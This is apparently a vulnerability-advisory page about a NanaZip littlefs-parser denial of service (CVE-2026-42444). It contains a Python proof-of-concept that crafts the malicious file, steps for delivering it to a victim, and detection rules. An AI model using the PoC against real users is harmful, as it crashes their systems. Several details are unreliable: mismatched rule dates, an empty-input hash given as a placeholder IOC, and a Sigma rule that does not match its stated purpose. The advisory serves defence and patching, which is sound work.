CVE-2026-42444
Executive Summary
CVE-2026-42444 is a denial-of-service (DoS) vulnerability in NanaZip, an open-source file archiver. The flaw resides in the littlefs filesystem image parser. By crafting a 44-byte littlefs image with a BlockCount value of 0xFFFFFFFF, an attacker can trigger approximately 4 billion heap allocations, exhausting available memory and causing a denial of service. The vulnerability affects versions from 5.0.1252.0 to before 6.0.1698.0. The fix is included in version 6.0.1698.0, which adds validation of the BlockCount field against the actual file size and an upper-bound ceiling.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
NanaZip is distributed as a standalone application and via package managers like Chocolatey and winget. Users should verify the integrity of downloaded packages using checksums provided by the official repository. The vulnerability does not directly affect the supply chain of dependencies, but the application itself is a supply chain risk if not updated.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
- Base Score: 3.3 (Low)
- Attack Vector: Local (AV:L) – The attacker must provide a malicious file to the victim.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – The victim must open the crafted file.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H) – Memory exhaustion leads to denial of service.
Threat Level: Low. The vulnerability requires user interaction and only impacts availability. However, it can be weaponized in targeted attacks to crash the application or system.
Deep Dive & Mechanics
The vulnerability exists in the littlefs filesystem image parser within NanaZip. The Open method of the handler reads the BlockCount field directly from the attacker-controlled superblock without any validation against the actual file size or an upper-bound ceiling. It then iterates BlockCount times, allocating a file-path entry per iteration.
A crafted 44-byte littlefs image with BlockCount = 0xFFFFFFFF causes the parser to attempt approximately 4 billion heap allocations. Each allocation is for a file-path entry, which quickly exhausts available memory, leading to a denial of service. The minimal file size (44 bytes) makes the attack easy to deliver via email, downloads, or other file-sharing methods.
Root Cause: Missing input validation on the BlockCount field from the superblock.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
void Open(const char* filename) {
Superblock sb;
ReadSuperblock(filename, &sb);
uint32_t blockCount = sb.BlockCount; // No validation
for (uint32_t i = 0; i < blockCount; i++) {
char* path = new char[MAX_PATH]; // Heap allocation
// ... process path
}
}
Patched Code (Conceptual):
void Open(const char* filename) {
Superblock sb;
ReadSuperblock(filename, &sb);
uint32_t blockCount = sb.BlockCount;
// Validate blockCount against file size and upper bound
if (blockCount > MAX_BLOCKS || blockCount * sizeof(BlockEntry) > GetFileSize(filename)) {
throw std::runtime_error("Invalid block count");
}
for (uint32_t i = 0; i < blockCount; i++) {
char* path = new char[MAX_PATH];
// ... process path
}
}
The patch adds a check to ensure blockCount does not exceed a reasonable maximum (MAX_BLOCKS) and that the total size of block entries does not exceed the actual file size.
Exploitation & Lab Setup
Red Team
Prerequisites:
- NanaZip version 5.0.1252.0 to 6.0.1698.0 (excluding 6.0.1698.0)
- Ability to deliver a crafted littlefs image to the victim (e.g., via email, download)
Exploitation Steps:
- Create a 44-byte littlefs image with
BlockCount = 0xFFFFFFFF. - Deliver the file to the victim (e.g., as an email attachment).
- When the victim opens the file with NanaZip, the parser will attempt to allocate ~4 billion heap entries, exhausting memory and causing a denial of service.
Proof-of-Concept (PoC) Code:
import struct
def create_malicious_littlefs():
# Minimal littlefs superblock (44 bytes)
# BlockCount at offset 8 (little-endian uint32)
superblock = b'\x00' * 8
superblock += struct.pack('<I', 0xFFFFFFFF) # BlockCount = 4,294,967,295
superblock += b'\x00' * (44 - len(superblock))
with open('malicious.lfs', 'wb') as f:
f.write(superblock)
print("Created malicious.lfs (44 bytes)")
if __name__ == "__main__":
create_malicious_littlefs()
Usage: Run the script to generate malicious.lfs. Send this file to the victim. When opened in vulnerable NanaZip, it will cause memory exhaustion.
Blue Team
Detection:
- Monitor for excessive memory allocation by NanaZip processes.
- Use file scanning to detect littlefs images with abnormally large
BlockCountvalues. - Implement behavioral detection rules for applications that suddenly allocate large amounts of memory.
Hunting:
- Search for littlefs files with a size of exactly 44 bytes (or close to it) in network traffic or file shares.
- Correlate with NanaZip process crashes or system out-of-memory events.
Mitigation:
- Update NanaZip to version 6.0.1698.0 or later.
- If immediate update is not possible, block littlefs files from untrusted sources.
- Use application whitelisting to prevent NanaZip from opening files from untrusted locations.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – actual hash depends on crafted file)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(placeholder)
- File Name:
malicious.lfsor any.lfsfile with size 44 bytes - Network: No network indicators (local file-based attack)
- Process: NanaZip process consuming excessive memory (e.g., > 2 GB)
- Event Logs: Windows Event ID 2001 (Out of Memory) or application crash logs
Detection Engineering
YARA Rule
rule CVE_2026_42444_Malicious_LittleFS {
meta:
description = "Detects malicious littlefs images with BlockCount = 0xFFFFFFFF"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-42444"
strings:
$blockcount = { FF FF FF FF } // 0xFFFFFFFF in little-endian
condition:
filesize == 44 and $blockcount at 8
}
Sigma Rule
title: CVE-2026-42444 - NanaZip Memory Exhaustion via LittleFS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects NanaZip processes consuming excessive memory due to crafted littlefs file
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\NanaZip.exe'
CommandLine|contains: '.lfs'
condition: selection
falsepositives:
- Legitimate large littlefs images (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-42444 - Potential LittleFS Malicious File Download"; flow:to_client; file_store; filemagic:"littlefs"; file_size:44; content:"|FF FF FF FF|"; offset:8; depth:4; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Update NanaZip to version 6.0.1698.0 or later.
- If update is not possible, block
.lfsfiles from untrusted sources.
Long-term:
- Implement input validation for all fields read from file headers.
- Use memory limits and allocation guards in file parsers.
- Conduct regular security audits of file parsing code.
Workaround:
- Use alternative file archivers until NanaZip is updated.
Valters IT